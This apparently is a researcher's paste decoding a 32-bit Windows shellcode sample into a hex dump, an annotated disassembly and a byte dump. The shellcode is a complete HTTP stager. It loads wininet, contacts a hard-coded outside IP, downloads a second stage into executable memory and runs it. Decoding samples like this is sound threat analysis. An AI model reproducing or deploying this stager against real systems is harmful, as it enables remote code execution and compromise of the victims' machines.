James_inthe_box

Decoded

Dec 13th, 2017
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  1. Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 db 53 53 53 53 53 68 3a 56 79 a7 ff d5 53 53 6a 03 53 53 68 fb 20 00 00 e8 27 01 00 00 2f 37 7a 4b 50 70 58 6b 6b 6a 35 6a 70 44 2d 67 4f 73 7a 38 70 42 51 4a 47 4e 39 69 43 79 66 74 5f 54 43 6c 30 61 65 75 33 49 61 75 50 49 70 6b 67 47 69 48 4f 4d 57 6a 47 66 48 4c 4a 54 6a 71 72 6c 73 30 61 36 65 53 66 49 36 77 52 44 31 77 37 74 36 75 45 6c 4b 48 42 55 68 64 36 2d 4a 31 30 39 68 58 48 75 62 55 72 33 33 37 69 71 75 35 41 62 72 50 6f 65 48 53 79 67 2d 64 61 79 6d 34 67 71 77 52 50 51 75 71 6f 4c 6f 4c 57 68 52 46 55 57 70 35 34 61 7a 00 50 68 57 89 9f c6 ff d5 89 c6 53 68 00 32 e0 84 53 53 53 57 53 56 68 eb 55 2e 3b ff d5 96 6a 0a 5f 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 53 53 53 53 56 68 2d 06 18 7b ff d5 85 c0 75 14 68 88 13 00 00 68 44 f0 35 e0 ff d5 4f 75 cd e8 4b 00 00 00 6a 40 68 00 10 00 00 68 00 00 40 00 53 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cf 8b 07 01 c3 85 c0 75 e5 58 c3 5f e8 6b ff ff ff 33 34 2e 32 30 31 2e 31 31 35 2e 32 31 38 00 bb f0 b5 a2 56 6a 00 53 ff d5
  2. 0x00000000 fc cld
  3. 0x00000001 e882000000 call 0x00000088
  4. 0x00000006 60 pushad
  5. 0x00000007 89e5 mov ebp,esp
  6. 0x00000009 31c0 xor eax,eax
  7. 0x0000000b 648b5030 fs: mov edx,dword [eax + 48]
  8. 0x0000000f 8b520c mov edx,dword [edx + 12]
  9. 0x00000012 8b5214 mov edx,dword [edx + 20]
  10. 0x00000015 8b7228 mov esi,dword [edx + 40]
  11. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  12. 0x0000001c 31ff xor edi,edi
  13. 0x0000001e ac lodsb
  14. 0x0000001f 3c61 cmp al,97
  15. 0x00000021 7c02 jl 0x00000025
  16. 0x00000023 2c20 sub al,32
  17. 0x00000025 c1cf0d ror edi,13
  18. 0x00000028 01c7 add edi,eax
  19. 0x0000002a e2f2 loop 0x0000001e
  20. 0x0000002c 52 push edx
  21. 0x0000002d 57 push edi
  22. 0x0000002e 8b5210 mov edx,dword [edx + 16]
  23. 0x00000031 8b4a3c mov ecx,dword [edx + 60]
  24. 0x00000034 8b4c1178 mov ecx,dword [ecx + edx + 120]
  25. 0x00000038 e348 jecxz 0x00000082
  26. 0x0000003a 01d1 add ecx,edx
  27. 0x0000003c 51 push ecx
  28. 0x0000003d 8b5920 mov ebx,dword [ecx + 32]
  29. 0x00000040 01d3 add ebx,edx
  30. 0x00000042 8b4918 mov ecx,dword [ecx + 24]
  31. 0x00000045 e33a jecxz 0x00000081
  32. 0x00000047 49 dec ecx
  33. 0x00000048 8b348b mov esi,dword [ebx + ecx * 4]
  34. 0x0000004b 01d6 add esi,edx
  35. 0x0000004d 31ff xor edi,edi
  36. 0x0000004f ac lodsb
  37. 0x00000050 c1cf0d ror edi,13
  38. 0x00000053 01c7 add edi,eax
  39. 0x00000055 38e0 cmp al,ah
  40. 0x00000057 75f6 jnz 0x0000004f
  41. 0x00000059 037df8 add edi,dword [ebp - 8]
  42. 0x0000005c 3b7d24 cmp edi,dword [ebp + 36]
  43. 0x0000005f 75e4 jnz 0x00000045
  44. 0x00000061 58 pop eax
  45. 0x00000062 8b5824 mov ebx,dword [eax + 36]
  46. 0x00000065 01d3 add ebx,edx
  47. 0x00000067 668b0c4b mov cx,word [ebx + ecx * 2]
  48. 0x0000006b 8b581c mov ebx,dword [eax + 28]
  49. 0x0000006e 01d3 add ebx,edx
  50. 0x00000070 8b048b mov eax,dword [ebx + ecx * 4]
  51. 0x00000073 01d0 add eax,edx
  52. 0x00000075 89442424 mov dword [esp + 36],eax
  53. 0x00000079 5b pop ebx
  54. 0x0000007a 5b pop ebx
  55. 0x0000007b 61 popad
  56. 0x0000007c 59 pop ecx
  57. 0x0000007d 5a pop edx
  58. 0x0000007e 51 push ecx
  59. 0x0000007f ffe0 jmp eax
  60. 0x00000081 5f pop edi
  61. 0x00000082 5f pop edi
  62. 0x00000083 5a pop edx
  63. 0x00000084 8b12 mov edx,dword [edx]
  64. 0x00000086 eb8d jmp 0x00000015
  65. 0x00000088 5d pop ebp
  66. 0x00000089 686e657400 push 0x0074656e--> 'ten'
  67. 0x0000008e 6877696e69 push 0x696e6977--> 'iniw'
  68. 0x00000093 54 push esp
  69. 0x00000094 684c772607 push 0x0726774c--> '&wL'
  70. 0x00000099 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  71. 0x0000009b 31db xor ebx,ebx
  72. 0x0000009d 53 push ebx
  73. 0x0000009e 53 push ebx
  74. 0x0000009f 53 push ebx
  75. 0x000000a0 53 push ebx
  76. 0x000000a1 53 push ebx
  77. 0x000000a2 683a5679a7 push 0xa779563a--> 'yV:'
  78. 0x000000a7 ffd5 call ebp --> wininet.dll!InternetOpenA
  79. 0x000000a9 53 push ebx
  80. 0x000000aa 53 push ebx
  81. 0x000000ab 6a03 push 3
  82. 0x000000ad 53 push ebx
  83. 0x000000ae 53 push ebx
  84. 0x000000af 68fb200000 push 0x000020fb
  85. 0x000000b4 e827010000 call 0x000001e0
  86. 0x000000b9 2f das
  87. 0x000000ba 37 aaa
  88. 0x000000bb 7a4b jpe 0x00000108
  89. 0x000000bd 50 push eax
  90. 0x000000be 7058 jo 0x00000118
  91. 0x000000c0 6b6b6a35 imul ebp,dword [ebx + 106],53
  92. 0x000000c4 6a70 push 112
  93. 0x000000c6 44 inc esp
  94. 0x000000c7 2d674f737a sub eax,0x7a734f67
  95. 0x000000cc 387042 cmp byte [eax + 66],dh
  96. 0x000000cf 51 push ecx
  97. 0x000000d0 4a dec edx
  98. 0x000000d1 47 inc edi
  99. 0x000000d2 4e dec esi
  100. 0x000000d3 396943 cmp dword [ecx + 67],ebp
  101. 0x000000d6 7966 jns 0x0000013e
  102. 0x000000d8 745f jz 0x00000139
  103. 0x000000da 54 push esp
  104. 0x000000db 43 inc ebx
  105. 0x000000dc 6c insb byte [esi],edx
  106. 0x000000dd 306165 xor byte [ecx + 101],ah
  107. 0x000000e0 7533 jnz 0x00000115
  108. 0x000000e2 49 dec ecx
  109. 0x000000e3 61 popad
  110. 0x000000e4 7550 jnz 0x00000136
  111. 0x000000e6 49 dec ecx
  112. 0x000000e7 706b jo 0x00000154
  113. 0x000000e9 6747 inc edi
  114. 0x000000eb 69484f4d576a47 imul ecx,dword [eax + 79],0x476a574d
  115. 0x000000f2 6648 dec eax
  116. 0x000000f4 4c dec esp
  117. 0x000000f5 4a dec edx
  118. 0x000000f6 54 push esp
  119. 0x000000f7 6a71 push 113
  120. 0x000000f9 726c jc 0x00000167
  121. 0x000000fb 7330 jnc 0x0000012d
  122. 0x000000fd 61 popad
  123. 0x000000fe 366553 ssgs: push ebx
  124. 0x00000101 6649 dec ecx
  125. 0x00000103 367752 ss: ja 0x00000158
  126. 0x00000106 44 inc esp
  127. 0x00000107 317737 xor dword [edi + 55],esi
  128. 0x0000010a 7436 jz 0x00000142
  129. 0x0000010c 7545 jnz 0x00000153
  130. 0x0000010e 6c insb byte [esi],edx
  131. 0x0000010f 4b dec ebx
  132. 0x00000110 48 dec eax
  133. 0x00000111 42 inc edx
  134. 0x00000112 55 push ebp
  135. 0x00000113 6864362d4a push 0x4a2d3664--> 'J-6d'
  136. 0x00000118 3130 xor dword [eax],esi
  137. 0x0000011a 396858 cmp dword [eax + 88],ebp
  138. 0x0000011d 48 dec eax
  139. 0x0000011e 7562 jnz 0x00000182
  140. 0x00000120 55 push ebp
  141. 0x00000121 7233 jc 0x00000156
  142. 0x00000123 3337 xor esi,dword [edi]
  143. 0x00000125 69717535416272 imul esi,dword [ecx + 117],0x72624135
  144. 0x0000012c 50 push eax
  145. 0x0000012d 6f outsd edx,dword [esi]
  146. 0x0000012e 6548 gs: dec eax
  147. 0x00000130 53 push ebx
  148. 0x00000131 7967 jns 0x0000019a
  149. 0x00000133 2d6461796d sub eax,0x6d796164
  150. 0x00000138 3467 xor al,103
  151. 0x0000013a 7177 jno 0x000001b3
  152. 0x0000013c 52 push edx
  153. 0x0000013d 50 push eax
  154. 0x0000013e 51 push ecx
  155. 0x0000013f 7571 jnz 0x000001b2
  156. 0x00000141 6f outsd edx,dword [esi]
  157. 0x00000142 4c dec esp
  158. 0x00000143 6f outsd edx,dword [esi]
  159. 0x00000144 4c dec esp
  160. 0x00000145 57 push edi
  161. 0x00000146 6852465557 push 0x57554652--> 'WUFR'
  162. 0x0000014b 7035 jo 0x00000182
  163. 0x0000014d 3461 xor al,97
  164. 0x0000014f 7a00 jpe 0x00000151
  165. 0x00000151 50 push eax
  166. 0x00000152 6857899fc6 push 0xc69f8957
  167. 0x00000157 ffd5 call ebp --> wininet.dll!InternetConnectA
  168. 0x00000159 89c6 mov esi,eax
  169. 0x0000015b 53 push ebx
  170. 0x0000015c 680032e084 push 0x84e03200
  171. 0x00000161 53 push ebx
  172. 0x00000162 53 push ebx
  173. 0x00000163 53 push ebx
  174. 0x00000164 57 push edi
  175. 0x00000165 53 push ebx
  176. 0x00000166 56 push esi
  177. 0x00000167 68eb552e3b push 0x3b2e55eb--> ';.U'
  178. 0x0000016c ffd5 call ebp --> wininet.dll!HttpOpenRequestA
  179. 0x0000016e 96 xchg eax,esi
  180. 0x0000016f 6a0a push 10
  181. 0x00000171 5f pop edi
  182. 0x00000172 6880330000 push 0x00003380
  183. 0x00000177 89e0 mov eax,esp
  184. 0x00000179 6a04 push 4
  185. 0x0000017b 50 push eax
  186. 0x0000017c 6a1f push 31
  187. 0x0000017e 56 push esi
  188. 0x0000017f 6875469e86 push 0x869e4675--> 'Fu'
  189. 0x00000184 ffd5 call ebp --> wininet.dll!InternetSetOptionA
  190. 0x00000186 53 push ebx
  191. 0x00000187 53 push ebx
  192. 0x00000188 53 push ebx
  193. 0x00000189 53 push ebx
  194. 0x0000018a 56 push esi
  195. 0x0000018b 682d06187b push 0x7b18062d--> '{-'
  196. 0x00000190 ffd5 call ebp --> wininet.dll!HttpSendRequestA
  197. 0x00000192 85c0 test eax,eax
  198. 0x00000194 7514 jnz 0x000001aa
  199. 0x00000196 6888130000 push 0x00001388
  200. 0x0000019b 6844f035e0 push 0xe035f044--> '5D'
  201. 0x000001a0 ffd5 call ebp --> kernel32.dll!Sleep
  202. 0x000001a2 4f dec edi
  203. 0x000001a3 75cd jnz 0x00000172
  204. 0x000001a5 e84b000000 call 0x000001f5
  205. 0x000001aa 6a40 push 64
  206. 0x000001ac 6800100000 push 4096
  207. 0x000001b1 6800004000 push 0x00400000
  208. 0x000001b6 53 push ebx
  209. 0x000001b7 6858a453e5 push 0xe553a458--> 'SX'
  210. 0x000001bc ffd5 call ebp --> kernel32.dll!VirtualAlloc
  211. 0x000001be 93 xchg eax,ebx
  212. 0x000001bf 53 push ebx
  213. 0x000001c0 53 push ebx
  214. 0x000001c1 89e7 mov edi,esp
  215. 0x000001c3 57 push edi
  216. 0x000001c4 6800200000 push 0x00002000
  217. 0x000001c9 53 push ebx
  218. 0x000001ca 56 push esi
  219. 0x000001cb 68129689e2 push 0xe2899612
  220. 0x000001d0 ffd5 call ebp --> wininet.dll!InternetReadFile
  221. 0x000001d2 85c0 test eax,eax
  222. 0x000001d4 74cf jz 0x000001a5
  223. 0x000001d6 8b07 mov eax,dword [edi]
  224. 0x000001d8 01c3 add ebx,eax
  225. 0x000001da 85c0 test eax,eax
  226. 0x000001dc 75e5 jnz 0x000001c3
  227. 0x000001de 58 pop eax
  228. 0x000001df c3 ret
  229. 0x000001e0 5f pop edi
  230. 0x000001e1 e86bffffff call 0x00000151
  231. 0x000001e6 33342e xor esi,dword [esi + ebp]
  232. 0x000001e9 3230 xor dh,byte [eax]
  233. 0x000001eb 312e xor dword [esi],ebp
  234. 0x000001ed 3131 xor dword [ecx],esi
  235. 0x000001ef 352e323138 xor eax,0x3831322e
  236. 0x000001f4 00bbf0b5a256 add byte [ebx + 1453503984],bh
  237. 0x000001fa 6a00 push 0
  238. 0x000001fc 53 push ebx
  239. 0x000001fd ffd5 call ebp
  240.  
  241. Byte Dump:
  242. ......`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]hnet.hwiniThLw&...1.SSSSSh:Vy...SSj.SSh....'.../7zKPpXkkj5jpD-gOsz8pBQJGN9iCyft_TCl0aeu3IauPIpkgGiHOMWjGfHLJTjqrls0a6eSfI6wRD1w7t6uElKHBUhd6-J109hXHubUr337iqu5AbrPoeHSyg-daym4gqwRPQuqoLoLWhRFUWp54az.PhW.......Sh.2..SSSWSVh.U.;...j_h.3....j.Pj.VhuF....SSSSVh-..{[email protected][email protected]._.k...34.201.115.218.....Vj.S..
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